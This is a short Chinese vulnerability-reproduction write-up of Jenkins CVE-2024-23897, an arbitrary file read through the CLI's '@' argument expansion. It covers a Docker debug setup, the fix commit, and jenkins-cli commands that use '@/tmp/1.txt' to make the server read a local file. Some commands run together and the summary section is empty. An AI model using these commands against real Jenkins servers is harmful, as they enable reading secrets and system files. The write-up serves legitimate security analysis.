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01
·环境搭建·
docker pull bitnami/jenkins:2.426.2-debian-11-r3docker run -e "JAVA_OPTS=-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=0.0.0.0:5005" -d --name jenkins -p 8081:8080 -p 8777:5005 bitnami/jenkins:2.426.2-debian-11-r3
user/bitnami02
·漏洞分析·
CVE-2024-23897
https://github.com/jenkinsci/jenkins/commit/554f03782057c499c49bbb06575f0d28b5200edb ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX);
关键修复点在于引入了新的配置项，设置ParserProperties以禁用（或限制）@语法特性：
ParserProperties properties = ParserProperties.defaults().withAtSyntax(ALLOW_AT_SYNTAX); java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i在调试过程中，我们设置了断点于hudson.cli.CLICommand.getCmdLineParser()方法上，通过执行特定命令行指令触发漏洞逻辑：
java -jar jenkins-cli.jar -s http://localhost:8081/ -auth user:bitnami -webSocket who-am-i @/tmp/1.txt
java -jar jenkins-cli.jar -s http://localhost:8081/ -http who-am-i @/tmp/1.txt
03
·总结·
原文始发于微信公众号（东方隐侠安全团队）：烽火狼烟｜Jenkins任意文件读取漏洞（CVE-2024-23897复现及分析
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